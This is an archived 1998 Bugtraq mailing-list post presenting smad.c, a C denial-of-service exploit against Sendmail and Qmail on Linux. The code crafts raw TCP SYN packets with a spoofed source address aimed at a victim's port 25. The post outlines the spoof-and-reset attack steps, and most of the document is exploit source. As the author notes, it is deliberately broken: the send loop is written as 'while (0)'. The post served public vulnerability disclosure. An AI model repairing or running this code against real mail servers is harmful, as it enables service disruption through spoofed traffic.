home *** CD-ROM | disk | FTP | other *** search
- /*
- Date: Tue, 3 Nov 1998 11:35:31 +0100
- From: Salvatore Sanfilippo <antirez@SECLAB.COM>
- To: BUGTRAQ@netspace.org
- Subject: Sendmail/Qmail DoS
-
- Hi,
- This expolit shows how Sendmail and Qmail vulnerabilities can be
- exploited through spoofed packets. In fact the simple algorithm proposed by
- Michal Zalewski can be performed in this way:
-
- 1. Attacker sends SYN from port X to victim, dst_port=25, spoof_addr SPOOFHOST (victim sends SYN/ACK to SPOOFHOST)
- 2. SPOOFHOST sends RST from port X to victim, dst_port=25 respecting sequence numbers (in reply to the SYN/ACK from victim).
- (victim got error on accept() - and enters 5 sec 'refusingconn' mode)
- 3. Wait approx. 2 seconds
- 4. Go to 1.
-
- The source is for Linux and there is a little bug so it doesn't work.
-
- p.s. This DoS works only against Linux boxes because Linux accept() returns
- a different errno.
-
- anti.
-
- --
- Salvatore Sanfilippo
- Intesis SECURITY LAB Phone: +39-2-671563.1
- Via Settembrini, 35 Fax: +39-2-66981953
- I-20124 Milano ITALY Email: antirez@seclab.com
-
- ---------------------------------------------------------
- */
-
- /*
- * smad.c - sendmail accept dos -
- *
- * Salvatore Sanfilippo [AntireZ]
- * Intesis SECURITY LAB Phone: +39-2-671563.1
- * Via Settembrini, 35 Fax: +39-2-66981953
- * I-20124 Milano ITALY Email: antirez@seclab.com
- * md5330@mclink.it
- *
- * compile it under Linux with gcc -Wall -o smad smad.c
- *
- * usage: smad fakeaddr victim [port]
- */
-
- #include <unistd.h>
- #include <string.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/tcp.h>
- #include <netinet/ip.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <unistd.h>
-
- #define SLEEP_UTIME 100000 /* modify it if necessary */
-
- #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
- #define OFFSETTCP (sizeof(struct iphdr))
- #define OFFSETIP (0)
-
- u_short cksum(u_short *buf, int nwords)
- {
- unsigned long sum;
- u_short *w = buf;
-
- for (sum = 0; nwords > 0; nwords-=2)
- sum += *w++;
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return ~sum;
- }
-
- void resolver (struct sockaddr * addr, char *hostname, u_short port)
- {
- struct sockaddr_in *address;
- struct hostent *host;
-
- address = (struct sockaddr_in *)addr;
-
- (void) bzero((char *)address, sizeof(struct sockaddr_in));
- address->sin_family = AF_INET;
- address->sin_port = htons(port);
- address->sin_addr.s_addr = inet_addr(hostname);
-
- if ( (int)address->sin_addr.s_addr == -1) {
- host = gethostbyname(hostname);
- if (host) {
- bcopy( host->h_addr,
- (char *)&address->sin_addr,host->h_length);
- } else {
- perror("Could not resolve address");
- exit(-1);
- }
- }
- }
-
- int main(int argc, char **argv)
- {
- char runchar[] = "|/-\\";
- char packet[PACKETSIZE],
- *fromhost,
- *tohost;
-
- u_short fromport = 3000,
- toport = 25;
-
- struct sockaddr_in local, remote;
- struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);
- struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);
-
- struct tcp_pseudohdr
- {
- struct in_addr saddr;
- struct in_addr daddr;
- u_char zero;
- u_char protocol;
- u_short lenght;
- struct tcphdr tcpheader;
- } pseudoheader;
-
- int sock, result, runcharid = 0;
-
- if (argc < 3)
- {
- printf("usage: %s fakeaddr victim [port]\n", argv[0]);
- exit(0);
- }
- if (argc == 4)
- toport = atoi(argv[3]);
-
- bzero((void*)packet, PACKETSIZE);
- fromhost = argv[1];
- tohost = argv[2];
-
- resolver((struct sockaddr*)&local, fromhost, fromport);
- resolver((struct sockaddr*)&remote, tohost, toport);
-
- sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
- if (sock == -1) {
- perror("can't get raw socket");
- exit(1);
- }
-
- /* src addr */
- bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
- /* dst addr */
- bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));
-
- ip->version = 4;
- ip->ihl = sizeof(struct iphdr)/4;
- ip->tos = 0;
- ip->tot_len = htons(PACKETSIZE);
- ip->id = htons(getpid() & 255);
- /* no flags */
- ip->frag_off = 0;
- ip->ttl = 64;
- ip->protocol = 6;
- ip->check = 0;
-
- tcp->th_dport = htons(toport);
- tcp->th_sport = htons(fromport);
- tcp->th_seq = htonl(32089744);
- tcp->th_ack = htonl(0);
- tcp->th_off = sizeof(struct tcphdr)/4;
- /* 6 bit reserved */
- tcp->th_flags = TH_SYN;
- tcp->th_win = htons(512);
-
- /* start of pseudo header stuff */
- bzero(&pseudoheader, 12+sizeof(struct tcphdr));
- pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
- pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
- pseudoheader.protocol = 6;
- pseudoheader.lenght = htons(sizeof(struct tcphdr));
- bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
- sizeof(struct tcphdr));
- /* end */
-
- tcp->th_sum = cksum((u_short *) &pseudoheader,
- 12+sizeof(struct tcphdr));
- /* 16 bit urg */
-
- while (0)
- {
- result = sendto(sock, packet, PACKETSIZE, 0,
- (struct sockaddr *)&remote, sizeof(remote));
- if (result != PACKETSIZE)
- {
- perror("sending packet");
- exit(0);
- }
- printf("\b");
- printf("%c", runchar[runcharid]);
- fflush(stdout);
- runcharid++;
- if (runcharid == 4)
- runcharid = 0;
- usleep(SLEEP_UTIME);
- }
-
- return 0;
- }
-
-